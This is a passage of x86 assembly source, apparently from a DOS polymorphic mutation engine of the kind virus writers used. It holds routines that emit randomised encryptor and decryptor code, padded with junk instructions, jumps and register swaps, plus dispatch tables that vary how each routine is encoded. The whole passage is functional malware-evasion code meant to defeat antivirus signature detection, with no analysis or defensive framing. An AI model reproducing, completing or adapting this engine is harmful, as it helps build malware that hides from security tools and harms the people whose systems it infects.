  863.         call    choose_routine                  ; Get random decryption type
  864.         call    go_next                         ; to DX, BX, SI
  865.         push    si dx si dx                     ; Save crypt value/register
  866.                                                 ; and crypt pointer
  867. ;;        mov     _nest,0 ; not needed - choose_routine does it
  868.         test    ch,4
  869.         jz      not_double_reference1           ; Double reference?
  870.  
  871.         xchg    ax,dx                           ; Pointer register/s to dx
  872.         call    get_another                     ; Unused register to AX (reg1)
  873.         call    mov_reg_reg                     ; MOV reg1,[pointer]
  874.         mov     _kludge,dx                      ; Store the pointer register
  875. not_double_reference1:
  876.         pop     dx si                           ; Restore decryption pointer
  877.         call    handle_jmp_table                ; Encode decryption routine
  878.         push    bx                              ; Save routine that was used
  879.         call    twogarble                       ; Garble some more for fun
  880.  
  881.         test    ch,4
  882.         jz      not_double_reference2           ; Double reference?
  883.  
  884.         xchg    ax,dx                           ; reg1 to dx
  885.         mov     ax,_kludge                      ; Restore pointer
  886.         push    ax                              ; Save pointer
  887.         call    mov_reg_reg                     ; MOV [pointer],reg1
  888.         call    clear_reg_dx                    ; Return reg1 to free pool
  889.         pop     ax                              ; Restore pointer
  890. not_double_reference2:
  891.         mov     bp,offset _encrypt_relocate_num ; Set the registers to work
  892.         call    swap_decrypt_encrypt            ; with the encryption routine
  893.  
  894.         pop     bx dx si                        ; Restore crypt value/register
  895.         call    go_next                         ; Convert to encryption table
  896.         jmp     short finish_encryption         ; and encode the encryption
  897.                                                 ; corresponding to the
  898.                                                 ; decryption
  899. do_encrypt1:                                    ; Perform encryption on a word
  900.         call    playencrypt                     ; Alter encryption value
  901.         call    get_rand                        ; Have a tiny chance
  902.         cmp     ax,6                            ; (1% chance) of not
  903.         jb      playencrypt                     ; encrypting at all
  904.         call    encryption                      ; Encrypt!
  905. playencrypt:                                    ; Update the encryption value
  906.         mov     di,_decryptpointer
  907.         call    twogarble
  908.  
  909.         mov     al,_encrypt_reg                 ; Encryption register used?
  910.         and     ax,7
  911.         cmp     al,4
  912.         jz      swap_decrypt_encrypt
  913.  
  914.         call    get_rand_bx                     ; 75% chance of altering the
  915.         cmp     bl,0c0                          ; encryption value register
  916.         ja      swap_decrypt_encrypt            ; Exit if nothing is to occur
  917.  
  918.         call    choose_routine                  ; Select a method of updating
  919.         call    handle_jmp_table_nogarble       ; Encode the decryption
  920.         call    swap_decrypt_encrypt            ; Now work on encryption
  921. finish_encryption:
  922.         push    cx                              ; Save current bitmask
  923.         and     cl,not 7                        ; Turn off garbling/mo routines
  924.         call    [bx+si+1]                       ; Encode the same routine for
  925.                                                 ; the encryption
  926.         pop     cx                              ; Restore the bitmask
  927.         mov     _encryptpointer,di
  928.         ret
  929.  
  930. choose_routine:
  931.         mov     _nest,0                         ; Reset recursion counter
  932.         call    one_in_two                      ; 50% chance of using an
  933.         js      get_used_register               ; already used register as
  934.                                                 ; an update value
  935.         call    get_rand_bx                     ; Get random number as the
  936.                                                 ; update value
  937.         mov     si,offset oneregtable           ; Choose the update routine
  938.                                                 ; from this table
  939.         jmp     short continue_choose_routine   ; Saves one byte over
  940.                                                 ; xchg dx,bx / ret
  941. get_used_register:
  942. ; This routine returns, in DX, a register whose value is known at the current
  943. ; point in the encryption/decryption routines. SI is loaded with the offset
  944. ; of the appropriate table. The routine destroys BX.
  945.         call    get_rand_bx                     ; Get a random number
  946.         and     bx,7                            ; Convert to a register (0-7)
  947.         cmp     bl,_sp                          ; Make sure it isn't SP; that
  948.         jz      get_used_register               ; is always considered used
  949.         cmp     byte ptr [bx+_used_regs],0      ; Check if the register is
  950.         jz      get_used_register               ; currently in use
  951.         mov     si,offset tworegtable           ; Use routine from this table
  952. continue_choose_routine:
  953.         xchg    dx,bx                           ; Move value to dx
  954.         ret                                     ; and quit
  955.  
  956. swap_decrypt_encrypt:
  957.         mov     _decryptpointer,di              ; save current pointer
  958.         push    ax
  959.         mov     al,_maxnest                     ; disable garbling
  960.         mov     _nest,al
  961.         pop     ax
  962.         mov     di,_encryptpointer              ; replace with encryption
  963.         ret                                     ; pointer
  964.  
  965. go_next:
  966. ; Upon entry, SI points to a dispatch table.  This routine calculates the
  967. ; address of the next table and sets SI to that value.
  968.         push    ax
  969.         lodsb                                   ; Get mask byte
  970.         cbw                                     ; Convert it to a word
  971.         add     si,ax                           ; Add it to the current 
  972.         pop     ax                              ; location (table+1)
  973.         inc     si                              ; Add two more to adjust
  974.         inc     si                              ; for the mask
  975.         ret                                     ; (mask = size - 3)
  976.  
  977. clear_used_regs:
  978.         xor     ax,ax                           ; Mark registers unused
  979.         mov     di,offset _used_regs            ; Alter _used_regs table
  980.         stosw
  981.         stosw
  982.         inc     ax                              ; Mark SP used
  983.         stosw
  984.         dec     ax
  985.         stosw
  986.         ret
  987.  
  988. get_another:                                    ; Get an unused register
  989.         call    get_rand                        ; Get a random number
  990.         and     ax,7                            ; convert to a register
  991. ;        cmp     al,_sp
  992. ;        jz      get_another
  993.         mov     si,ax
  994.         cmp     [si+_used_regs],0               ; Check if used already
  995.         jnz     get_another                     ; Yes, try again
  996.         inc     [si+_used_regs]                 ; Otherwise mark the register
  997.         ret                                     ; used and return
  998.  
  999. clear_reg_dx:                                   ; Mark the register in DX
  1000.         xchg    ax,dx                           ; unused
  1001. clear_reg:                                      ; Mark the register in AX
  1002.         mov     si,ax                           ; unused
  1003.         mov     byte ptr [si+_used_regs],0
  1004.         ret
  1005.  
  1006. free_regs:
  1007. ; This checks for any free registers and sets the zero flag if there are.
  1008.         push    ax cx di
  1009.         mov     di,offset _used_regs
  1010.         mov     cx,8
  1011.         xor     ax,ax
  1012.         repne   scasb
  1013.         pop     di cx ax
  1014.         ret
  1015.  
  1016. one_in_two:                                     ; Gives 50% chance of
  1017.         push    ax                              ; something happening
  1018.         call    get_rand                        ; Get a random number
  1019.         or      ax,ax                           ; Sign flag set 50% of the
  1020.         pop     ax                              ; time
  1021.         ret
  1022.  
  1023. get_rand_bx:                                    ; Get a random number to BX
  1024.         xchg    ax,bx                           ; Save AX
  1025.         call    get_rand                        ; Get a random number
  1026.         xchg    ax,bx                           ; Restore AX, set BX to the
  1027. return:                                         ; random number
  1028.         ret
  1029.  
  1030. garble_onebyte:
  1031. ; Encode a single byte that doesn't do very much, i.e. sti, int 3, etc.
  1032.         xchg    ax,dx                           ; Get the random number in AX
  1033.         and     al,7                            ; Convert to table offset
  1034.         mov     bx,offset onebytetable          ; Table of random bytes
  1035.         xlat                                    ; Get the byte
  1036.         stosb                                   ; and encode it
  1037.         ret
  1038.  
  1039. garble_jmpcond:
  1040. ; Encode a random short conditional or unconditional JMP instruction.  The
  1041. ; target of the JMP is an unspecified distance away.  Valid instructions
  1042. ; take up the space between the JMP and the target.
  1043.         xchg    ax,dx                           ; Random number to AX
  1044.         and     ax,0f                           ; Convert to a random JMP
  1045.         or      al,70                           ; instruction
  1046.         stosw                                   ; Encode it
  1047.         push    di                              ; Save current location
  1048.         call    garble  ; May need to check if too large
  1049.         mov     ax,di                           ; Get current location
  1050.         pop     bx                              ; Restore pointer to the JMP
  1051.         sub     ax,bx                           ; Calculate the offset
  1052.         mov     byte ptr [bx-1], al             ; Put it in the conditional
  1053.         ret                                     ; JMP
  1054.  
  1055. clear_PIQ:
  1056. ; Encode instructions that clear the prefetch instruction queue.
  1057. ;   CALL/POP
  1058. ;   JMP SHORT
  1059. ;   JMP
  1060.         call    get_rand                        ; Get a random number
  1061.         mov     dl,ah                           ; Put high byte in DL
  1062.         and     dx,0f                           ; Adjust so JMP target is
  1063.                                                 ; between 0 and 15 bytes away
  1064.         and     ax,3                            ; Mask AX
  1065.         jz      clear_PIQ_call_pop              ; 1/4 chance of CALL/POP
  1066.         dec     ax
  1067.         jz      clear_PIQ_jmp_short             ; 1/4 chance of JMP SHORT
  1068.  
  1069.         mov     al,0e9                          ; Otherwise do a straight JMP
  1070. clear_PIQ_word:                                 ; Handler if offset is a word
  1071.         stosb                                   ; Store the JMP or CALL
  1072.         xchg    ax,dx                           ; Offset to AX
  1073.         stosw                                   ; Encode it
  1074. clear_PIQ_byte:                                 ; Encode AX random bytes
  1075.         push    cx
  1076.         xchg    ax,cx                           ; Offset to CX
  1077.         jcxz    random_encode_done              ; Exit if no bytes in between
  1078. random_encode_loop:
  1079.         call    get_rand                        ; Get a random number
  1080.         stosb                                   ; Store it and then do this
  1081.         loop    random_encode_loop              ; again
  1082. random_encode_done:
  1083.         pop     cx
  1084.         ret
  1085.  
  1086. clear_PIQ_jmp_short:
  1087.         mov     al,0ebh                         ; JMP SHORT
  1088.         stosb                                   ; Encode the instruction
  1089.         xchg    ax,dx
  1090.         stosb                                   ; and the offset
  1091.         jmp     short clear_PIQ_byte            ; Encode intervening bytes
  1092.  
  1093. clear_PIQ_call_pop:
  1094.         mov     al,0e8                          ; CALL
  1095.         call    clear_PIQ_word                  ; Encode instruction, garbage
  1096.         call    garble                          ; Garble some and then find
  1097.         call    get_another                     ; an unused register
  1098.         call    clear_reg                       ; keep it unused
  1099.         jmp     short _pop                      ; and POP into it
  1100.  
  1101. twogarble:                                      ; Garble twice
  1102.         mov     _nest,0                         ; Reset nest count
  1103.         call    garble                          ; Garble once
  1104. garble: ; ax, dx preserved                      ; Garble
  1105.         call    free_regs                       ; Are there any unused
  1106.         jne     return                          ; registers?
  1107.  
  1108.         test    cl,2                            ; Is garbling enabled?
  1109.         jz      return                          ; Exit if not
  1110.  
  1111.         push    ax dx si
  1112.  
  1113.         call    get_rand                        ; Get a random number into
  1114.         xchg    ax,dx                           ; DX
  1115.         call    get_another                     ; And a random reg into AX
  1116.         call    clear_reg                       ; Don't mark register as used
  1117.  
  1118.         mov     si,offset garbletable           ; Garble away
  1119.         jmp     short handle_jmp_table_nopush
  1120.  
  1121. handle_jmp_table: ; ax,dx preserved             ; This is the master dispatch
  1122.         call    garble                          ; Garble before encoding
  1123. handle_jmp_table_nogarble:                      ; Encode it
  1124.         push    ax dx si
  1125. handle_jmp_table_nopush:
  1126.         push    ax
  1127.         lodsb                                   ; Get table mask
  1128.         cbw                                     ; Clear high byte
  1129.         call    get_rand_bx                     ; Get random number
  1130.         and     bx,ax                           ; Get random routine
  1131.         pop     ax
  1132.  
  1133.         test    cl,4                            ; Short decryptor?
  1134.         jnz     doshort                         ; If so, use first routine
  1135.  
  1136.         inc     _nest                           ; Update nest count
  1137.         push    ax
  1138.         mov     al,_maxnest
  1139.         cmp     _nest,al                        ; Are we too far?
  1140.         pop     ax
  1141.         jb      not_max_nest                    ; If so, then use the first
  1142. doshort:xor     bx,bx                           ; routine in the table
  1143. not_max_nest:
  1144.         push    bx                              ; Save routine to be called
  1145.         call    [bx+si]                         ; Call the routine
  1146.         pop     bx si dx ax
  1147.         ret
  1148.  
  1149. garble_tworeg:
  1150. ; Garble unused register with the contents of a random register.
  1151.         mov     si,offset tworegtable           ; Use reg_reg table
  1152.         and     dx,7                            ; Convert to random register #
  1153.         jmp     short handle_jmp_table_nogarble ; Garble away
  1154.  
  1155. garble_onereg:
  1156. ; Garble unused register with a random value (DX).
  1157.         mov     si,offset oneregtable           ; Point to the table
  1158.         jmp     short handle_jmp_table_nogarble ; and garble
  1159.  
  1160. _push:                                          ; Encode a PUSH
  1161.         or      al,al                           ; PUSHing memory register?
  1162.         js      _push_mem
  1163.         call    one_in_two                      ; 1/2 chance of two-byte PUSH
  1164.         js      _push_mem
  1165.         add     al,50                           ; otherwise it's really easy
  1166.         stosb
  1167.         ret
  1168. _push_mem:
  1169.         add     ax,0ff30
  1170.         jmp     short go_mod_xxx_rm1
  1171.  
  1172. _pop:                                           ; Encode a POP
  1173.         or      al,al                           ; POPing a memory register?
  1174.         js      _pop_mem
  1175.         call    one_in_two                      ; 1/2 chance of two-byte POP
  1176.         js      _pop_mem
  1177.         add     al,58
  1178.         stosb
  1179.         ret
  1180. _pop_mem:
  1181.         mov     ah,8f
  1182. go_mod_xxx_rm1:
  1183.         jmp     mod_xxx_rm
  1184.  
  1185. mov_reg_xxxx: ; ax and dx preserved
  1186.         mov     si,offset mov_reg_xxxx_table
  1187. go_handle_jmp_table1:
  1188.         jmp     short handle_jmp_table
  1189.  
  1190. _mov_reg_xxxx_mov_add:
  1191.         call    get_rand_bx                     ; Get a random number
  1192.         push    bx                              ; Save it
  1193.         sub     dx,bx                           ; Adjust MOV amount
  1194.         call    mov_reg_xxxx                    ; MOV to register
  1195.         pop     dx                              ; Get random number
  1196.         jmp     short go_add_reg_xxxx           ; Add it to the register
  1197.  
  1198. _mov_reg_xxxx_mov_al_ah:
  1199.         cmp     al,_sp
  1200.         jae     _mov_reg_xxxx
  1201.         push    ax dx
  1202.         call    _mov_al_xx
  1203.         pop     dx ax
  1204.         xchg    dh,dl
  1205.         jmp     short _mov_ah_xx
  1206.  
  1207. _mov_reg_xxxx_mov_xor:
  1208.         call    get_rand_bx
  1209.         push    bx
  1210.         xor     dx,bx
  1211.         call    mov_reg_xxxx
  1212.         pop     dx
  1213.         jmp     xor_reg_xxxx
  1214.  
  1215. _mov_reg_xxxx_xor_add:
  1216.         push    dx
  1217.         mov     dx,ax
  1218.         call    xor_reg_reg
  1219.         pop     dx
  1220. go_add_reg_xxxx:
  1221.         jmp     add_reg_xxxx
  1222.  
  1223. _mov_reg_xxxx_mov_rol:
  1224.         ror     dx,1
  1225.         call    mov_reg_xxxx
  1226.         jmp     short _rol
  1227.  
  1228. _mov_reg_xxxx_mov_ror:
  1229.         rol     dx,1
  1230.         call    mov_reg_xxxx
  1231. _ror:
  1232.         or      al,8
  1233. _rol:
  1234.         mov     ah,0d1
  1235.         jmp     short go_mod_xxx_rm1
  1236.  
  1237.  
  1238. _mov_reg_xxxx:
  1239.         call    one_in_two                      ; 1/2 chance of a four byte MOV
  1240.         js      _mov_reg_xxxx1
  1241.  
  1242.         add     al,0B8
  1243.         stosb
  1244.         xchg    ax,dx
  1245.         stosw
  1246.         ret
  1247. _mov_reg_xxxx1:                                 ; Do the four byte register MOV
  1248.         mov     ah,0c7
  1249.         jmp     mod_xxx_rm_stosw
  1250.  
  1251. mov_ah_xx:
  1252. _mov_ah_xx:
  1253.         add     al,04
  1254. mov_al_xx:
  1255. _mov_al_xx:
  1256.         add     al,0B0
  1257.         mov     ah,dl
  1258.         stosw
  1259.         ret
  1260.  
  1261. mov_reg_reg: ; ax, dx preserved
  1262.         mov     si,offset mov_reg_reg_table
  1263.         jmp     short go_handle_jmp_table1
  1264.  
  1265. _mov_reg_reg_push_pop:
  1266.         push    ax
  1267.         xchg    dx,ax
  1268.         call    _push                           ; PUSH REG2
  1269.         pop     ax
  1270.         jmp     _pop                            ; POP  REG1
  1271.  
  1272. _mov_reg_reg:
  1273.         mov     ah,08Bh
  1274.         jmp     short _mod_reg_rm_direction
  1275.  
  1276. mov_xchg_reg_reg:
  1277.         call    one_in_two
  1278.         js      mov_reg_reg
  1279.  
  1280. xchg_reg_reg:  ; ax, dx preserved
  1281.         mov     si,offset xchg_reg_reg_table
  1282. go_handle_jmp_table2:
  1283.         jmp     short go_handle_jmp_table1
  1284.  
  1285. _xchg_reg_reg_push_pop:
  1286.         push    dx ax dx
  1287.         call    _push                           ; PUSH REG1
  1288.         pop     ax
  1289.         call    _push                           ; PUSH REG2
  1290.         pop     ax
  1291.         call    _pop                            ; POP  REG1
  1292.         pop     ax
  1293.         jmp     _pop                            ; POP  REG2
  1294.  
  1295. _xchg_reg_reg_3rd_reg:
  1296.         call    free_regs
  1297.         jne     _xchg_reg_reg
  1298.  
  1299.         push    dx ax
  1300.         call    get_another                     ; Get free register (reg3)
  1301.         call    mov_xchg_reg_reg                ; MOV/XCHG REG3,REG2
  1302.         pop     dx
  1303.         call    xchg_reg_reg                    ; XCHG REG3,REG1
  1304.         pop     dx
  1305.         xchg    ax,dx
  1306.         call    mov_xchg_reg_reg                ; MOV/XCHG REG2,REG3
  1307.         jmp     clear_reg_dx
  1308.  
  1309. _xchg_reg_reg:
  1310.         or      al,al
  1311.         js      __xchg_reg_reg
  1312.  
  1313.         cmp     al,dl
  1314.         jg      _xchg_reg_reg_skip
  1315.         xchg    al,dl
  1316. _xchg_reg_reg_skip:
  1317.         or      dl,dl
  1318.         jz      _xchg_ax_reg
  1319. __xchg_reg_reg:
  1320.         xchg    al,dl
  1321.         mov     ah,87
  1322.         jmp     short _mod_reg_rm
  1323. _xchg_ax_reg:
  1324.         add     al,90
  1325.         stosb
  1326.         ret
  1327.  
  1328. xor_reg_xxxx_xor_xor:
  1329.         call    get_rand_bx
  1330.         push    bx
  1331.         xor     dx,bx
  1332.         call    xor_reg_xxxx
  1333.         pop     dx
  1334.         jmp     short xor_reg_xxxx
  1335.  
  1336. xor_reg_xxxx:
  1337.         mov     si,offset xor_reg_xxxx_table
  1338.         jmp     short go_handle_jmp_table2
  1339.  
  1340. _xor_reg_xxxx:
  1341.         or      al,030
  1342.         jmp     _81h_
  1343.  
  1344. xor_reg_reg:
  1345.         mov     si,offset xor_reg_reg_table
  1346. go_handle_jmp_table3:
  1347.         jmp     short go_handle_jmp_table2
  1348.  
  1349. _xor_reg_reg:
  1350.         mov     ah,33
  1351. ; The following is the master encoder.  It handles most traditional encodings
  1352. ; with mod/reg/rm or mod/xxx/rm.
  1353. _mod_reg_rm_direction:
  1354.         or      al,al                           ; If al is a memory pointer,
  1355.         js      dodirection                     ; then we need to swap regs
  1356.         or      dl,dl                           ; If dl is a memory pointer,
  1357.         js      _mod_reg_rm                     ; we cannot swap registers
  1358.         call    one_in_two                      ; Otherwise there is a 50%
  1359.         js      _mod_reg_rm                     ; chance of swapping registers
  1360. dodirection:
  1361.         xchg    al,dl                           ; Swap the registers and adjust
  1362.         sub     ah,2                            ; the opcode to compensate
  1363. _mod_reg_rm:
  1364.         shl     al,1                            ; Move al to the reg field
  1365.         shl     al,1
  1366.         shl     al,1
  1367.         or      al,dl                           ; Move dl to the rm field
  1368. mod_xxx_rm:
  1369.         or      al,al                           ; Is al a memory pointer?
  1370.         js      no_no_reg                       ; If so, skip next line
  1371.  
  1372.         or      al,0c0                          ; Mark register in mod field
  1373. no_no_reg:
  1374.         xchg    ah,al
  1375.  
  1376.         test    ah,40
  1377.         jnz     exit_mod_reg_rm
  1378.  
  1379.         test    cl,1
  1380.         jnz     continue_mod_xxx_rm
  1381.  
  1382.         push    ax
  1383.         mov     al,2e
  1384.         stosb
  1385.         pop     ax
  1386. continue_mod_xxx_rm:
  1387.         stosw
  1388.  
  1389.         mov     si,cs:[bp]                      ; Store the patch location
  1390.         add     si,si                           ; for the memory in the
  1391.         mov     cs:[si+bp+2],di                 ; appropriate table for later
  1392.         inc     word ptr cs:[bp]                ; adjustment
  1393.                                                 ; cs: overrides needed for bp
  1394.         mov     al,_relocate_amt
  1395.         cbw
  1396. exit_mod_reg_rm:
  1397.         stosw
  1398.         ret
  1399.  
  1400. add_reg_reg:
  1401.         mov     si,offset add_reg_reg_table
  1402.         jmp     short go_handle_jmp_table3
  1403.  
  1404. _add_reg_reg:
  1405.         mov     ah,3
  1406.         jmp     short _mod_reg_rm_direction
  1407.  
  1408. sub_reg_reg:
  1409.         mov     si,offset sub_reg_reg_table
  1410. go_handle_jmp_table4:
  1411.         jmp     short go_handle_jmp_table3
  1412.  
  1413. _sub_reg_reg:
  1414.         mov     ah,2bh
  1415.         jmp     short _mod_reg_rm_direction
  1416.  
  1417. _add_reg_xxxx_inc_add:
  1418.         call    inc_reg
  1419.         dec     dx
  1420.         jmp     short add_reg_xxxx
  1421.  
  1422. _add_reg_xxxx_dec_add:
  1423.         call    dec_reg
  1424.         inc     dx
  1425.         jmp     short add_reg_xxxx
  1426.  
  1427. _add_reg_xxxx_add_add:
  1428.         call    get_rand_bx
  1429.         push    bx
  1430.         sub     dx,bx
  1431.         call    add_reg_xxxx
  1432.         pop     dx
  1433.         jmp     short add_reg_xxxx
  1434.  
  1435. add_reg_xxxx1:
  1436.         neg     dx
  1437. add_reg_xxxx:
  1438.         or      dx,dx
  1439.         jnz     cont
  1440. return1:
  1441.         ret
  1442. cont:
  1443.         mov     si,offset add_reg_xxxx_table
  1444.         jmp     go_handle_jmp_table4
  1445.  
  1446. _add_reg_xxxx:
  1447.         or      al,al
  1448.         jz      _add_ax_xxxx
  1449. _81h_:
  1450.         or      al,al
  1451.         js      __81h
  1452.         add     al,0c0
  1453. __81h:
  1454.         mov     ah,81
  1455. mod_xxx_rm_stosw:
  1456.         call    mod_xxx_rm
  1457. _encode_dx_:
  1458.         xchg    ax,dx
  1459.         stosw
  1460.         ret
  1461. _add_ax_xxxx:
  1462.         mov     al,5
  1463. _encode_al_dx_:
  1464.         stosb
  1465.         jmp     short _encode_dx_
  1466.  
  1467. sub_reg_xxxx1:
  1468.         neg     dx
  1469. sub_reg_xxxx:
  1470. _sub_reg_xxxx:
  1471.         or      dx,dx                           ; SUBtracting anything?
  1472.         jz      return1                         ; If not, we are done
  1473.  
  1474.         or      al,al                           ; SUB AX, XXXX?
  1475.         jz      _sub_ax_xxxx                    ; If so, we encode in 3 bytes
  1476.         add     al,028                          ; Otherwise do the standard
  1477.         jmp     short _81h_                     ; mod/reg/rm deal
  1478. _sub_ax_xxxx:
  1479.         mov     al,2dh
  1480.         jmp     short _encode_al_dx_
  1481.  
  1482. dec_reg:
  1483.         push    ax
  1484.         add     al,8
  1485.         jmp     short _dec_inc_reg
  1486. inc_reg:
  1487.         push    ax
  1488. _dec_inc_reg:
  1489.         or      al,al
  1490.         jns     _norm_inc
  1491.         mov     ah,0ff
  1492.         call    mod_xxx_rm
  1493.         pop     ax
  1494.         ret
  1495. _norm_inc:
  1496.         add     al,40
  1497.         stosb
  1498.         pop     ax
  1499.         ret
  1500.  
  1501. _mov_reg_reg_3rd_reg:
  1502.         mov     bx,offset mov_reg_reg
  1503.         mov     si,offset mov_xchg_reg_reg
  1504.         or      al,al                           ; Is reg1 a pointer register?
  1505.         js      reg_to_reg1                     ; If so, we cannot use XCHG
  1506.         jmp     short reg_to_reg
  1507.  
  1508. xor_reg_reg_reg_reg:
  1509.         mov     bx,offset _xor_reg_reg
  1510.         jmp     short reg_to_reg1
  1511. add_reg_reg_reg_reg:
  1512.         mov     bx,offset _add_reg_reg
  1513.         jmp     short reg_to_reg1
  1514. sub_reg_reg_reg_reg:
  1515.         mov     bx,offset _sub_reg_reg
  1516. reg_to_reg1:
  1517.         mov     si,bx
  1518. reg_to_reg:
  1519.         call    free_regs
  1520.         jne     no_free_regs
  1521.  
  1522.         push    ax si
  1523.         call    get_another                     ; Get unused register (reg3)
  1524.         call    mov_reg_reg                     ; MOV REG3,REG2
  1525.         pop     si dx
  1526.         xchg    ax,dx
  1527. finish_reg_clear_dx:
  1528.         push    dx
  1529.         call    si
  1530.         pop     ax
  1531.         jmp     clear_reg
  1532.  
  1533. _xor_reg_xxxx_reg_reg:
  1534.         mov     bx,offset xor_reg_xxxx
  1535.         mov     si,offset xor_reg_reg
  1536. xxxx_to_reg:
  1537.         call    free_regs
  1538.         jne     no_free_regs
  1539.  
  1540.         push    ax si
  1541.         call    get_another                     ; Get unused register (reg3)
  1542.         call    mov_reg_xxxx                    ; MOV REG3,XXXX
  1543.         xchg    ax,dx
  1544.         pop     si ax
  1545.  
  1546.         jmp     short finish_reg_clear_dx
  1547. no_free_regs:
  1548.         jmp     bx
  1549.  
  1550. _add_reg_xxxx_reg_reg:
  1551.         mov     bx,offset add_reg_xxxx
  1552.         mov     si,offset add_reg_reg
  1553.         jmp     short xxxx_to_reg
  1554.  
  1555. _mov_reg_xxxx_reg_reg:
  1556.         mov     bx,offset mov_reg_xxxx
  1557.         mov     si,offset mov_xchg_reg_reg
  1558.         jmp     short xxxx_to_reg
  1559.  
  1560. ; The following are a collection of tables used by the various encoding
  1561. ; routines to determine which routine will be used.  The first line in each
  1562. ; table holds the mask for the encoding procedure.  The second line holds the
  1563. ; default routine which is used when nesting is disabled.  The number of
  1564. ; entries in each table must be a power of two.  To adjust the probability of
  1565. ; the occurence of any particular routine, simply vary the number of times it
  1566. ; appears in the table relative to the other routines.
  1567.  
  1568. ; The following table governs garbling.
  1569. garbletable:
  1570.         db      garbletableend - $ - 3
  1571.         dw      offset return
  1572.         dw      offset return
  1573.         dw      offset return
  1574.         dw      offset return
  1575.         dw      offset return
  1576.  
  1577.         dw      offset garble_tworeg
  1578.         dw      offset garble_tworeg
  1579.         dw      offset garble_tworeg
  1580.         dw      offset garble_onereg
  1581.         dw      offset garble_onereg
  1582.         dw      offset garble_onereg
  1583.  
  1584.         dw      offset garble_onebyte
  1585.         dw      offset garble_onebyte
  1586.         dw      offset garble_onebyte
  1587.         dw      offset garble_jmpcond
  1588.  
  1589.         dw      offset clear_PIQ
  1590. garbletableend:
  1591.  
  1592. ; This table is used by the one byte garbler.  It is intuitively obvious.
  1593. onebytetable:
  1594.         clc
  1595.         cmc
  1596.         stc
  1597.         cld
  1598.         std
  1599.         sti
  1600.         int     3
  1601.         lock
  1602.  
  1603. ; This table is used by the one register garbler.  When each of the functions
  1604. ; in the table is called, ax holds a random, unused register, and dx holds a
  1605. ; random number.
  1606. oneregtable:
  1607.         db      oneregtableend - $ - 3
  1608.         dw      offset xor_reg_xxxx
  1609.         dw      offset mov_reg_xxxx
  1610.         dw      offset sub_reg_xxxx
  1611.         dw      offset add_reg_xxxx
  1612.         dw      offset dec_reg
  1613.         dw      offset inc_reg
  1614.         dw      offset _ror
  1615.         dw      offset _rol
  1616. oneregtableend:
  1617.  
  1618. ; This table is used to determine the decryption method
  1619. oneregtable1:    ; dx = random #
  1620.         db      oneregtable1end - $ - 3
  1621.         dw      offset xor_reg_xxxx
  1622.         dw      offset sub_reg_xxxx
  1623.         dw      offset add_reg_xxxx
  1624.         dw      offset add_reg_xxxx
  1625.         dw      offset dec_reg
  1626.         dw      offset inc_reg
  1627.         dw      offset _ror
  1628.         dw      offset _rol
  1629. oneregtable1end:
  1630.  
  1631. ; This table is used to determine the encryption method
  1632. oneregtable2:    ; dx = random #
  1633.         db      oneregtable2end - $ - 3
  1634.         dw      offset xor_reg_xxxx
  1635.         dw      offset add_reg_xxxx
  1636.         dw      offset sub_reg_xxxx
  1637.         dw      offset sub_reg_xxxx
  1638.         dw      offset inc_reg
  1639.         dw      offset dec_reg
  1640.         dw      offset _rol
  1641.         dw      offset _ror
  1642. oneregtable2end:
  1643.  
  1644. tworegtable:    ; dl = any register
  1645.         db      tworegtableend - $ - 3
  1646.         dw      offset xor_reg_reg
  1647.         dw      offset mov_reg_reg
  1648.         dw      offset sub_reg_reg
  1649.         dw      offset add_reg_reg
  1650. tworegtableend:
  1651.  
  1652. tworegtable1:    ; dl = any register
  1653.         db      tworegtable1end - $ - 3
  1654.         dw      offset xor_reg_reg
  1655.         dw      offset xor_reg_reg
  1656.         dw      offset sub_reg_reg
  1657.         dw      offset add_reg_reg
  1658. tworegtable1end:
  1659.  
  1660. tworegtable2:    ; dl = any register
  1661.         db      tworegtable2end - $ - 3
  1662.         dw      offset xor_reg_reg
  1663.         dw      offset xor_reg_reg
  1664.         dw      offset add_reg_reg
  1665.         dw      offset sub_reg_reg
  1666. tworegtable2end:
  1667.  
  1668. mov_reg_xxxx_table:
  1669.         db      mov_reg_xxxx_table_end - $ - 3
  1670.         dw      offset _mov_reg_xxxx
  1671.         dw      offset _mov_reg_xxxx_reg_reg
  1672.         dw      offset _mov_reg_xxxx_mov_add
  1673.         dw      offset _mov_reg_xxxx_mov_al_ah
  1674.         dw      offset _mov_reg_xxxx_mov_xor
  1675.         dw      offset _mov_reg_xxxx_xor_add
  1676.         dw      offset _mov_reg_xxxx_mov_rol
  1677.         dw      offset _mov_reg_xxxx_mov_ror
  1678.  
  1679. mov_reg_xxxx_table_end:
  1680.  
  1681. mov_reg_reg_table:
  1682.         db      mov_reg_reg_table_end - $ - 3
  1683.         dw      offset _mov_reg_reg
  1684.         dw      offset _mov_reg_reg
  1685.         dw      offset _mov_reg_reg_3rd_reg
  1686.         dw      offset _mov_reg_reg_push_pop
  1687. mov_reg_reg_table_end:
  1688.  
  1689. xchg_reg_reg_table:
  1690.         db      xchg_reg_reg_table_end - $ - 3
  1691.         dw      offset _xchg_reg_reg
  1692.         dw      offset _xchg_reg_reg
  1693.         dw      offset _xchg_reg_reg_push_pop
  1694.         dw      offset _xchg_reg_reg_3rd_reg
  1695. xchg_reg_reg_table_end:
  1696.  
  1697. xor_reg_xxxx_table:
  1698.         db      xor_reg_xxxx_table_end - $ - 3
  1699.         dw      offset _xor_reg_xxxx
  1700.         dw      offset _xor_reg_xxxx
  1701.         dw      offset _xor_reg_xxxx_reg_reg
  1702.         dw      offset xor_reg_xxxx_xor_xor
  1703. xor_reg_xxxx_table_end:
  1704.  
  1705. xor_reg_reg_table:
  1706.         db      xor_reg_reg_table_end - $ - 3
  1707.         dw      offset _xor_reg_reg
  1708.         dw      offset xor_reg_reg_reg_reg
  1709. xor_reg_reg_table_end:
  1710.  
  1711. add_reg_reg_table:
  1712.         db      add_reg_reg_table_end - $ - 3
  1713.         dw      offset _add_reg_reg
  1714.         dw      offset add_reg_reg_reg_reg
  1715. add_reg_reg_table_end:
  1716.  
  1717. sub_reg_reg_table:
  1718.         db      sub_reg_reg_table_end - $ - 3
  1719.         dw      offset _sub_reg_reg
  1720.         dw      offset sub_reg_reg_reg_reg
  1721. sub_reg_reg_table_end:
  1722.  
  1723. add_reg_xxxx_table:
  1724.         db      add_reg_xxxx_table_end - $ - 3
  1725.         dw      offset _add_reg_xxxx
  1726.         dw      offset _add_reg_xxxx
  1727.         dw      offset _add_reg_xxxx_reg_reg
  1728.         dw      offset sub_reg_xxxx1
  1729.         dw      offset _add_reg_xxxx_inc_add
  1730.         dw      offset _add_reg_xxxx_dec_add
  1731.         dw      offset _add_reg_xxxx_add_add
